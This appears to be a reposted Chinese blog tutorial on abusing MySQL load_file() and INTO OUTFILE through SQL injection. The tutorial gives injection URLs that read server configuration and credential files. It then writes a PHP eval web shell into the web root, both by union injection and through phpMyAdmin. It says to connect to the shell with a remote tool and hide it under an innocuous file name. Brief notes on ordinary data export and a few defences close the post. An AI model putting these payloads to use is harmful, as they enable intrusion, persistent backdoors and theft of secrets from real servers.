mysql load_file()和 into outfile
Posted 风水师
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql load_file()和 into outfile相关的知识,希望对你有一定的参考价值。
0x00 load_file()
- 条件:
1. 要有file_priv权限
2. 知道文件绝对路径
3. 能使用union
4. 对web目录有读权限
注:若过滤了单引号,则可以将函数中的字符进行hex编码
-
一般步骤
- 读/etc/init.d下的东西,这里有配置文件路径
?id=1‘ union select 1,2,load_file(‘/etc/init.d/httpd‘)
- 得到web安装路径
?id=1‘ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf‘)
- 读取密码文件
?id=1‘ union select 1,2,load_file(‘/site/xxx.com/conf/conn.inc.php‘)
0x01 into outfile
- 条件:
1. 要有file_priv权限
2. 知道网站绝对路径
3. 要能用union
4. 对web目录有写权限
5. 没有过滤单引号
-
一般方法
当知道路径时,可以直接用?id=1 union select "<?php @eval($_POST[‘c‘]);?>" into outfile("C:/phpStudy/WWW/a.php")
-
其他方法
- 登陆phpMyAdmin
use test; 选择数据库为test create table aaa(bbb varchar(64)); 在数据库中创建一个表aaa insert into aaa values("<?php @eval($_POST[‘c‘]);?>"); --在aaa中插入一条数据<?php @eval($_POST[‘c‘]);?> select * from aaa into outfile ‘C:/phpStudy/WWW/a.php‘; --将aaa中的数据导出到文件a.php
- localhost:80/a.php能访问
drop aaa; --删除建立的表
- 然后菜刀连接
菜刀连接http://www.aa.com/a.php,然后更改shell的名字并将shell放在较隐蔽的地方,比如C:phpStudyWWWphpMyAdminsetuplibcommon.php
1、如果mysql服务器就是你要导出文件的机器,那么可以直接用select …into outfile语句。
select * from rank into outfile "/home/a.txt"
2、如果MYSQL服务器是单独的机器,我们是在一个client上进行操作,我们要把数据结果导入到client机器上。可以使用mysql -e语句。
mysql -uroot -proot -P3306 -h10.35.13.89 dbname -e "select * from rank" > /home/a.txt
3、使用mysql的tee(T)命令,也就是把MYSQL的所有输出都输入到指定文件。
mysql>tee /home/a.txt
mysql>select * from rank;
mysql>exit
或
mysql> T output.txt
Logging to file ‘output.txt‘
mysql>
Outfile disabled.
0x02 防御
- 数据库连接账号不要用root权限
- php关闭报错模式
- mysql账户没有权限向网站目录写文件
以上是关于mysql load_file()和 into outfile的主要内容,如果未能解决你的问题,请参考以下文章